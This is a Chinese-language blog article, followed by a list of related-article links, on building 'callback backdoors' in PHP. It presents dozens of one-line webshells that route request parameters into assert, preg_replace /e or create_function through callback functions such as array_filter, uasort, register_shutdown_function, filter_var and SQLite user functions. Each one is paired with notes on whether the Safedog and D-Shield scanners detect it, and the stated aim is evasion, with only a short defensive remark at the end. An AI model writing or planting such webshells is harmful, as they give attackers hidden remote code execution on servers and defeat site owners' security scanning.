創造tips的秘籍——PHP回撥後門
0x00 前言
最近很多人分享一些過狗過盾的一句話,但無非是用各種方法去構造一些動態函式,比如$_GET['func']($_REQUEST['pass'])
之類的方法。萬變不離其宗,但這種方法,雖然狗盾可能看不出來,但人肉眼其實很容易發現這類後門的。
那麼,我就分享一下,一些不需要動態函式、不用eval、不含敏感函式、免殺免攔截的一句話。
有很多朋友喜歡收藏一些tips,包括我也收藏了好多tips,有時候在滲透和漏洞挖掘過程中很有用處。
一句話的tips相信很多朋友也收集過好多,過狗一句話之類的。14年11月好像在微博上也火過一個一句話,當時也記印象筆記裡了:
最近又看到有人在發這個:http://www.secoff.net/archives/436.html
有同學收集tips,就有同學創造tips。那麼我們怎麼來創造一些過狗、過D盾、無動態函式、無危險函式(無特徵)的一句話(後門)?
根據上面這個pdo的一句話,我就可以得到一個很具有普適性的結論:php中包含回撥函式引數的函式,具有做後門的潛質。
我就自己給這類webshell起了個名字:回撥後門。
0x01 回撥後門的老祖宗
php中call_user_func是執行回撥函式的標準方法,這也是一個比較老的後門了:
#!php
call_user_func('assert', $_REQUEST['pass']);
assert直接作為回撥函式,然後$_REQUEST['pass']作為assert的引數呼叫。
這個後門,狗和盾都可以查到(但是狗不會攔截):
可php的函式庫是很豐富的,只要簡單改下函式安全狗就不殺了:
#!php
call_user_func_array('assert', array($_REQUEST['pass']));
call_user_func_array
函式,和call_user_func
類似,只是第二個引數可以傳入引數列表組成的陣列。如圖:
可見,雖然狗不殺了,D盾還是聰明地識別了出來。
看來,這種傳統的回撥後門,已經被一些安全廠商盯上了,存在被查殺的風險。
0x02 陣列操作造成的單引數回撥後門
進一步思考,在平時的php開發中,遇到過的帶有回撥引數的函式絕不止上面說的兩個。這些含有回撥(callable型別)引數的函式,其實都有做“回撥後門”的潛力。 我最早想到個最“簡單好用的”:
#!php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
array_filter
函式是將陣列中所有元素遍歷並用指定函式處理過濾用的,如此呼叫(此後的測試環境都是開著狗的,可見都可以執行):
這個後門,狗查不出來,但D盾還是有感應,報了個等級3(顯然比之前的等級4要低了):
類似array_filter,array_map也有同樣功效:
#!php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);
依舊被D盾查殺。
果然,簡單的陣列回撥後門,還是很容易被發現與查殺的。
0x03 php5.4.8+中的assert
php 5.4.8+後的版本,assert函式由一個引數,增加了一個可選引數descrition:
這就增加(改變)了一個很好的“執行程式碼”的方法assert,這個函式可以有一個引數,也可以有兩個引數。那麼以前回撥後門中有兩個引數的回撥函式,現在就可以使用了。
比如如下回撥後門:
#!php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));
這個後門在php5.3時會報錯,提示assert只能有一個引數:
php版本改作5.4後就可以執行了:
這個後門,狗和盾是都查不出來的:
同樣的道理,這個也是功能類似:
#!php
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);
再給出這兩個函式,物件導向的方法:
#!php
// way 0
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');
// way 1
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');
再來兩個類似的回撥後門:
#!php
$e = $_REQUEST['e'];
$arr = array(1);
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);
以上幾個都是可以直接菜刀連線的一句話,但目標PHP版本在5.4.8及以上才可用。
我把上面幾個型別歸為:二引數回撥函式(也就是回撥函式的格式是需要兩個引數的)
0x04 三引數回撥函式
有些函式需要的回撥函式型別比較苛刻,回撥格式需要三個引數。比如array_walk。
array_walk的第二個引數是callable型別,正常情況下它是格式是兩個引數的,但在0x03中說了,兩個引數的回撥後門需要使用php5.4.8後的assert,在5.3就不好用了。但這個回撥其實也可以接受三個引數,那就好辦了:
php中,可以執行程式碼的函式:
1. 一個引數:assert
2. 兩個引數:assert (php5.4.8+)
3. 三個引數:preg_replace /e模式
三個引數可以用preg_replace。所以我這裡構造了一個array_walk + preg_replace的回撥後門:
#!php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');
如圖,這個後門可以在5.3下使用:
但強大的D盾還是有警覺(雖然只是等級2):
不過呵呵,PHP擁有那麼多靈活的函式,稍微改個函式(array_walk_recursive)D盾就查不出來了:
#!php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
不截圖了。
看了以上幾個回撥後門,發現preg_replace確實好用。但顯然很多WAF和頓頓狗狗的早就盯上這個函式了。其實php裡不止這個函式可以執行eval的功能,還有幾個類似的:
#!php
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
另一個:
#!php
echo preg_filter('|.*|e', $_REQUEST['pass'], '');
這兩個一句話都是不殺的:
好用的一句話,且用且珍惜呀。
0x05 無回顯回撥後門
回撥後門裡,有個特殊的例子:ob_start。
ob_start可以傳入一個引數,也就是當緩衝流輸出時呼叫的函式。但由於某些特殊原因(可能與輸出流有關),即使有執行結果也不在流裡,最後也輸出不了,所以這樣的一句話沒法用菜刀連線:
#!php
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
但如果執行一個url請求,用神器cloudeye還是能夠觀測到結果的:
即使沒輸出,實際程式碼是執行了的。也算作回撥後門的一種。
0x06 單引數後門終極奧義
preg_replace、三引數後門雖然好用,但/e模式php5.5以後就廢棄了,不知道哪天就會給刪了。所以我覺得還是單引數後門,在各個版本都比較好駕馭。 這裡給出幾個好用不殺的回撥後門
#!php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
這個是php全版本支援的,且不報不殺穩定執行:
再來一個:
#!php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);
再來兩個:
#!php
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
這兩個是filter_var的利用,php裡用這個函式來過濾陣列,只要指定過濾方法為回撥(FILTER_CALLBACK),且option為assert即可。
這幾個單引數回撥後門非常隱蔽,基本沒特徵,用起來很6.
0x07 資料庫操作與第三方庫中的回撥後門
回到最早微博上發出來的那個sqlite回撥後門,其實sqlite可以構造的回撥後門不止上述一個。
我們可以註冊一個sqlite函式,使之與assert功能相同。當執行這個sql語句的時候,就等於執行了assert。所以這個後門我這樣構造:
#!php
$e = $_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));
執行之:
上面的sqlite方法是依靠PDO執行的,我們也可以直接呼叫sqlite3的方法構造回撥後門:
#!php
$e = $_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute();
前提是php5.3以上。如果是php5.3以下的,使用sqlite_*函式,自己研究我不列出了。
這兩個回撥後門,都是依靠php擴充套件庫(pdo和sqlite3)來實現的。其實如果目標環境中有特定擴充套件庫的情況下,也可以來構造回撥後門。 比如php_yaml:
#!php
$str = urlencode($_REQUEST['pass']);
$yaml = <<<EOD
greeting: !{$str} "|.+|e"
EOD;
$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));
還有php_memcached:
#!php
$mem = new Memcache();
$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
$mem->connect($_REQUEST['pass'], 11211, 0);
自行研究吧。
0x08 其他引數型回撥後門
上面說了,回撥函式格式為1、2、3引數的時候,可以利用assert、assert、preg_replace來執行程式碼。但如果回撥函式的格式是其他引數數目,或者引數型別不是簡單字串,怎麼辦?
舉個例子,php5.5以後建議用preg_replace_callback
代替preg_replace
的/e
模式來處理正則執行替換,那麼其實preg_replace_callback
也是可以構造回撥後門的。
preg_replace_callback
的第二個引數是回撥函式,但這個回撥函式被傳入的引數是一個陣列,如果直接將這個指定為assert,就會執行不了,因為assert接受的引數是字串。
所以我們需要去“構造”一個滿足條件的回撥函式。
怎麼構造?使用create_function
:
#!php
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']);
“創造”一個函式,它接受一個陣列,並將陣列的第一個元素$arr[0]
傳入assert
。
這也是一個不殺不報穩定執行的回撥後門,但因為有create_function
這個敏感函式,所以看起來總是不太爽。不過也是沒辦法的事。 類似的,這個也同樣:
#!php
mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']);
再來一個利用CallbackFilterIterator
方法的回撥後門:
#!php
$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));
foreach ($iterator as $item) {
echo $item;
}
這裡也是借用了create_function
來建立回撥函式。但有些同學就問了,這裡建立的回撥函式只有一個引數呀?實際上這裡如果傳入assert
,是會報錯的,具體原因自己分析。
0x09 後記
這一篇文章,就像一枚核武器,爆出了太多無特徵的一句話後門。我知道相關廠商在看了文章以後,會有一些小動作。不過我既然敢寫出來,那麼我就敢保證這些方法是多麼難以防禦。
實際上,回撥後門是靈活且無窮無盡的後門,只要php還在發展,那麼就有很多很多擁有回撥函式的後門被創造。想要防禦這樣的後門,光光去指哪防哪肯定是不夠的。
簡單想一下,只有我們去控制住assert、preg_replace這類函式,才有可能防住這種漏洞。
相關文章
- PHP 回撥、匿名函式和閉包2016-11-20PHP函式
- Activity生命週期回撥是如何被回撥的?2018-07-26
- [JS]回撥函式和回撥地獄2021-08-06JS函式
- PHP的Ev教程二(watcher和watche回撥等)2019-02-16PHP
- 接入 paypal PHP-sdk 支付 / 回撥 / 退款全流程2019-03-29PHP
- 初學 PHP 對於回撥函式的一些理解2018-10-22PHP函式
- php 使用Callable Closure強制指定回撥型別2017-01-19PHP型別
- PHP後門新玩法:一款猥瑣的PHP後門分析2020-08-19PHP
- 回撥函式的作用2019-07-31函式
- 回撥函式2020-11-14函式
- 微博回撥介面2020-10-09
- java介面回撥2016-11-28Java
- 非同步/回撥2018-06-13非同步
- JS 回撥模式2017-12-14JS模式
- C++回撥2024-10-20C++
- js 回撥 callback2024-03-28JS
- C++屌屌的觀察者模式-同步回撥和非同步回撥2019-07-10C++模式非同步
- java回撥函式-非同步回撥-簡明講解2019-01-19Java函式非同步
- java 介面回撥經典案例--網路請求回撥2015-10-23Java
- Android如何回撥編碼後的音視訊資料2018-11-05Android
- 回撥函式的理解(一)2021-06-07函式
- js中的回撥函式2017-09-03JS函式
- JavaScript中回撥的示例理解2013-11-18JavaScript
- WCF中的非同步回撥2013-09-12非同步
- Block 我所理解的回撥2015-05-30BloC
- Javascript的非同步和回撥2015-07-18JavaScript非同步
- Java回撥函式的理解2014-08-14Java函式
- 【詳細、開箱即用】.NET企業微信回撥配置(資料回撥URL和指令回撥URL驗證)2021-09-05
- JavaScript 回撥函式2018-10-13JavaScript函式
- JavaScript回撥函式2020-10-08JavaScript函式
- JS—回撥函式2018-03-31JS函式
- 簡單理解回撥2016-09-02
- 動畫回撥函式2017-03-28動畫函式
- 介面返回前回撥2017-03-14
- Java——回撥機制2017-06-03Java
- jni回撥java方法2016-04-20Java
- Java--回撥模型2017-12-17Java模型
- java回撥函式2010-09-19Java函式